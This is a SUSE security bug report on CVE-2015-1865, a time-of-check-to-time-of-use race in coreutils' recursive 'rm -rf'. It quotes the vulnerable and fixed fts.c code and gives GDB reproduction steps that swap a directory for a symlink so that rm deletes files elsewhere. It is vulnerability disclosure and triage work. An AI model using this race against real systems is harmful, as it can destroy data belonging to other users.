Bug 927949 (CVE-2015-1865) - VUL-1: CVE-2015-1865: coreutils: "time of check to time of use" race condition fts.c
Summary: VUL-1: CVE-2015-1865: coreutils: "time of check to time of use" race conditio...
Status: RESOLVED FIXED
Alias: CVE-2015-1865
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents (show other bugs)
Version: unspecified
Hardware: Other Other
: P4 - Low : Minor
Target Milestone: ---
Deadline: 2015-12-16
Assignee: Security Team bot
QA Contact: Security Team bot
URL: https://smash.suse.de/issue/115806/
Whiteboard: CVSSv2:NVD:CVE-2015-1865:3.3:(AV:L/AC...
Keywords:
Depends on:
Blocks:
 
Reported: 2015-04-21 08:27 UTC by Andreas Stieger
Modified: 2020-10-21 09:18 UTC (History)
7 users (show)

See Also:
Found By: Security Response Team
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Andreas Stieger 2015-04-21 08:27:58 UTC
Via RH:

Rikus Goodell of CPanel found a race condition in coreutils (rm command).
Recursive directory removal with "rm -rf" has a TOCTOU race condition when descending into subdirectories.

It uses these syscalls to traverse into subdirectories:

19935 fstatat64(4, "x", {st_mode=S_IFDIR|0755, st_size=4096, ...}, AT_SYMLINK_NOFOLLOW) = 0
19935 openat(4, "x", O_RDONLY|O_NOCTTY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3

Note that the stat has NOFOLLOW, but the open does not, so if the directory "x" changes to a symlink between these two syscalls, rm will traverse across the symlink. This makes the type of attack described here possible:

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=286922

The relevant code that opens a dir in coreutils-8.4:

coreutils-8.4/lib/fts.c:
1243 #if defined FTS_WHITEOUT && 0
1244         if (ISSET(FTS_WHITEOUT))
1245                 oflag = DTF_NODUP|DTF_REWIND;
1246         else
1247                 oflag = DTF_HIDEW|DTF_NODUP|DTF_REWIND;
1248 #else
1249 # define __opendir2(file, flag) \
1250         ( ! ISSET(FTS_NOCHDIR) && ISSET(FTS_CWDFD) \
1251           ? opendirat(sp->fts_cwd_fd, file)        \
1252           : opendir(file))
1253 #endif
1254        if ((dirp = __opendir2(cur->fts_accpath, oflag)) == NULL) {

So, it uses __opendir2 (which is defined right above); this, in turn, calls "opendirat" for a directory, which does this:

coreutils-8.4/lib/fts.c:
 298 static inline DIR *
 299 internal_function
 300 opendirat (int fd, char const *dir)
 301 {
 302   int new_fd = openat (fd, dir,
 303                        O_RDONLY | O_DIRECTORY | O_NOCTTY | O_NONBLOCK);

O_NOFOLLOW is missing.


8.22 does stuff differently:

1316           {
1317             /* Open the directory for reading.  If this fails, we're done.
1318                If being called from fts_read, set the fts_info field. */
1319             if ((cur->fts_dirp = fts_opendir(cur->fts_accpath, &dir_fd)) == NULL)
1320               {

fts_opendir here is:

coreutils-8.22/lib/fts.c:
1252 #define fts_opendir(file, Pdir_fd)                              \
1253         opendirat((! ISSET(FTS_NOCHDIR) && ISSET(FTS_CWDFD)     \
1254                    ? sp->fts_cwd_fd : AT_FDCWD),                \
1255                   file,                                         \
1256                   (((ISSET(FTS_PHYSICAL)                        \
1257                      && ! (ISSET(FTS_COMFOLLOW)                 \
1258                            && cur->fts_level == FTS_ROOTLEVEL)) \
1259                     ? O_NOFOLLOW : 0)                           \
1260                    | (ISSET (FTS_NOATIME) ? O_NOATIME : 0)),    \
1261                   Pdir_fd)

with O_NOFOLLOW defined.

Steps to reproduce using GDB to increase the "window of possibility":

root@jdvm:/home/jd# mkdir -p t/switch_me
root@jdvm:/home/jd# echo "xyzzy" >t/switch_me/xyzzy
root@jdvm:/home/jd# mkdir unlink_stuff
root@jdvm:/home/jd# echo "sensitive stuff" > unlink_stuff/unlink_this
root@jdvm:/home/jd# gdb rm
GNU gdb (GDB) Red Hat Enterprise Linux (7.2-75.el6)
...
(gdb) break openat64
Breakpoint 1 at 0x804910c
(gdb) set args -rf t
(gdb) run
Starting program: /bin/rm -rf t

Breakpoint 1, 0x002035f6 in openat64 () from /lib/libc.so.6
(gdb) c
Continuing.

Breakpoint 1, 0x002035f6 in openat64 () from /lib/libc.so.6
(gdb) ^Z
[1]+ Stopped gdb rm
root@jdvm:/home/jd# cd t
root@jdvm:/home/jd/t# ls
switch_me
root@jdvm:/home/jd/t# mv switch_me/ switch_me.bak
root@jdvm:/home/jd/t# ln -s ../unlink_stuff switch_me
root@jdvm:/home/jd/t# ls -alh
total 12K
drwxr-xr-x. 3 root root 4.0K Mar 25 17:03 .
drwx------. 5 jd jd 4.0K Mar 25 17:01 ..
lrwxrwxrwx. 1 root root 15 Mar 25 17:03 switch_me -> ../unlink_stuff
drwxr-xr-x. 2 root root 4.0K Mar 25 17:01 switch_me.bak
root@jdvm:/home/jd/t# cd ..
root@jdvm:/home/jd# fg
gdb rm
(gdb) c
Continuing.
/bin/rm: cannot remove `t': Directory not empty

Program exited with code 01.
(gdb) q
root@jdvm:/home/jd# ls -alh unlink_stuff/
total 8.0K
drwxr-xr-x. 2 root root 4.0K Mar 25 17:04 .
drwx------. 5 jd jd 4.0K Mar 25 17:01 ..
root@jdvm:/home/jd#





Reproducible on SLE 11 SP3 with coreutils-8.12.



References:
https://bugzilla.redhat.com/show_bug.cgi?id=1211300
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1865
http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1865.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1865
Comment 2 Swamp Workflow Management 2015-04-21 22:00:16 UTC
bugbot adjusting priority
Comment 3 Swamp Workflow Management 2015-12-02 13:44:19 UTC
An update workflow for this issue was started.
This issue was rated as moderate.
Please submit fixed packages until 2015-12-16.
When done, reassign the bug to security-team@suse.de.
https://swamp.suse.de/webswamp/wf/62363
Comment 4 SMASH SMASH 2015-12-02 13:44:36 UTC
An update workflow for this issue was started.

This issue was rated as "low".
Please submit fixed packages until "Dec. 16, 2015".

When done, reassign the bug to "security-team@suse.de".
/update/62363/.
Comment 5 Philipp Thomas 2016-10-11 12:49:29 UTC
Bernie, can you say something about this?
Comment 6 Bernhard Voelker 2016-10-14 21:16:58 UTC
Although low-rated, the patch for this issue would be quite small:
  http://git.savannah.gnu.org/cgit/gnulib.git/commit/?id=0971365ee6f6
It was pulled into coreutils-8.6.
Comment 7 Philipp Thomas 2017-05-31 11:00:30 UTC
That can't be the cause as SLE11 SP3 has coreutils 8.12 which has the the fix. So either it isn't reproducible with coreutils in SLE11SP3 or it's another bug.
Comment 14 Alexandros Toptsoglou 2020-07-10 11:47:56 UTC
Done